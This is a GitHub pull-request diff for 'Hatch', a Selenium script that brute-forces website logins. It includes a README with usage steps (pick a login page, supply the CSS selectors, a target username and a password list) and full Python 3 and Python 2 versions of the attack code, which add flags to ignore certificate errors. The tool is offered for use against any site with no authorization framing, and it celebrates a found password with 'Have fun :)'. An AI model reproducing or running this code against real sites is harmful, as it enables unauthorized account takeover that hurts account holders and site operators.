Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 24 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,23 @@
# Hatch
Hatch is a brute force tool that is used to brute force most websites

# Update! Aug. 26, 2021
- converted from Python2 to Python3 using 2to3. https://docs.python.org/3/library/2to3.html
```
2to3 -w main.py
```
- added:
```
options.add_argument('--ignore-ssl-errors=yes')
options.add_argument('--ignore-certificate-errors')
options.add_argument('--allow-running-insecure-content')
```
- changed Chromedriver location for Linux Machine.
## NOTE: I had to install chrome from google not chromium from apt for it to work on Linux.

# Update! v.1.3.1
added arg support **yay**
<br>
<br>
-h, --help show this help message and exit<br>
-u USERNAME, --username=USERNAME Choose the username<br>
--usernamesel=USERNAMESEL Choose the username selector<br>
Expand All @@ -15,29 +29,27 @@ dont worry if you load up the tool without any args youll go to the default wiza
Also i removed the apt xvfb and pip2 pyvirtualdisplay
## Installation Instructions
```
git clone https://github.com/MetaChar/Hatch
python2 main.py
git clone https://github.com/ciwen3/Hatch.git
edit driver location in main.py
python3 main.py
```

## Requirements
- pip modules
```
pip2 install selenium
pip2 install requests
pip3 install selenium
pip3 install requests
```
Chrome and chromedriver are required
- Chrome and chromedriver are required

You can download chromedriver here: http://chromedriver.chromium.org/downloads
for this fork, create a folder in your C drive called 'webdrivers' and place the executable file inside. If you want to use a different directory, simply change the CHROME_DVR_DIR variable inside the python file.

<br>
for this fork, simply change the CHROME_DVR_DIR variable inside the python file to where you stored it.

## How to use (text)
1). Find a website with a login page<br>
2). Inspect element to find the Selector of the username form<br>
3). Do the same for the password field<br>
4). The the login form <br>
5). When Asked put in the username to brute force<br>
6). Watch it go!

## How to use (Video)
[![IMAGE ALT TEXT](https://i.ytimg.com/vi/Hd_kQVnajxk/1.jpg)](https://youtu.be/Hd_kQVnajxk "Video Title")

Binary file added chromedriver
Binary file not shown.
56 changes: 37 additions & 19 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,18 @@
# Coded by METACHAR
# Looking to work with other hit me up on my email @metachar1@gmail.com <--
#
# Forked from: https://github.com/nsgodshall/Hatch
# Edited by Strat0m Aug. 26, 2021
# Converted to Python3 using 2to3
# https://docs.python.org/3/library/2to3.html
#
# added:
# options.add_argument('--ignore-ssl-errors=yes')
# options.add_argument('--ignore-certificate-errors')
# http://blogs.stevelongchen.com/2020/05/14/selenium-how-to-disable-or-bypass-connection-is-not-private-for-chrome-and-firefox/



import sys
import datetime
import selenium
Expand Down Expand Up @@ -42,36 +55,38 @@ class color:
(options, args) = parser.parse_args()


CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
# CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
CHROME_DVR_DIR = '/opt/Hatch/chromedriver'


def wizard():
print (banner)
website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
sys.stdout.flush()
t.sleep(1)
try:
request = requests.get(website)
if request.status_code == 200:
print (color.GREEN + '[OK]'+color.CWHITE)
print((color.GREEN + '[OK]'+color.CWHITE))
sys.stdout.flush()
except selenium.common.exceptions.NoSuchElementException:
pass
except KeyboardInterrupt:
print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
print((color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit'))
exit()
except:
t.sleep(1)
print (color.RED + '[X]'+color.CWHITE)
print((color.RED + '[X]'+color.CWHITE))
t.sleep(1)
print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
print((color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https'))
exit()

username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)

def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
Expand All @@ -80,6 +95,9 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
options.add_argument('--ignore-ssl-errors=yes')
options.add_argument('--ignore-certificate-errors')
options.add_argument('--allow-running-insecure-content')
count = 1 #count
browser = webdriver.Chrome(CHROME_DVR_DIR)
while True:
Expand All @@ -95,17 +113,17 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas
Sel_user.send_keys(username)
Sel_pas.send_keys(line)
t.sleep(5)
print '------------------------'
print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
print '------------------------'
print('------------------------')
print((color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username))
print('------------------------')
temp = line
except KeyboardInterrupt: #returns to main menu if ctrl C is used
exit()
except selenium.common.exceptions.NoSuchElementException:
print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
print 'LAST PASS ATTEMPT BELLOW'
print color.GREEN + 'Password has been found: {0}'.format(temp)
print color.YELLOW + 'Have fun :)'
print('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
print('LAST PASS ATTEMPT BELLOW')
print(color.GREEN + 'Password has been found: {0}'.format(temp))
print(color.YELLOW + 'Have fun :)')
exit()


Expand Down Expand Up @@ -142,5 +160,5 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print banner
print(banner)
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
146 changes: 146 additions & 0 deletions old/main-python2.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
# Coded by METACHAR
# Looking to work with other hit me up on my email @metachar1@gmail.com <--
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException


#Graphics
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
CWHITE = '\33[37m'


#Config#
parser = OptionParser()
now = datetime.datetime.now()


#Args
parser.add_option("-u", "--username", dest="username",help="Choose the username")
parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()


CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'

def wizard():
print (banner)
website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
sys.stdout.flush()
t.sleep(1)
try:
request = requests.get(website)
if request.status_code == 200:
print (color.GREEN + '[OK]'+color.CWHITE)
sys.stdout.flush()
except selenium.common.exceptions.NoSuchElementException:
pass
except KeyboardInterrupt:
print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
exit()
except:
t.sleep(1)
print (color.RED + '[X]'+color.CWHITE)
t.sleep(1)
print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
exit()

username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)

def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
f = open(pass_list, 'r')
driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1 #count
browser = webdriver.Chrome(CHROME_DVR_DIR)
while True:
try:
for line in f:
browser.get(website)
t.sleep(2)
Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
# browser.find_element_by_css_selector(password_selector).clear()
# browser.find_element_by_css_selector(username_selector).clear()
Sel_user.send_keys(username)
Sel_pas.send_keys(line)
t.sleep(5)
print '------------------------'
print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
print '------------------------'
temp = line
except KeyboardInterrupt: #returns to main menu if ctrl C is used
exit()
except selenium.common.exceptions.NoSuchElementException:
print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
print 'LAST PASS ATTEMPT BELLOW'
print color.GREEN + 'Password has been found: {0}'.format(temp)
print color.YELLOW + 'Have fun :)'
exit()



banner = color.BOLD + color.RED +'''
_ _ _ _
| | | | | | | |
| |__| | __ _| |_ ___| |__
| __ |/ _` | __/ __| '_ \\
| | | | (_| | || (__| | | |
|_| |_|\__,_|\__\___|_| |_|
{0}[{1}-{2}]--> {3}V.1.0
{4}[{5}-{6}]--> {7}coded by Metachar
{8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)

driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1 #count

if options.username == None:
if options.usernamesel == None:
if options.passsel == None:
if options.loginsel == None:
if options.passlist == None:
if options.website == None:
wizard()


username = options.username
username_selector = options.usernamesel
password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print banner
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
Loading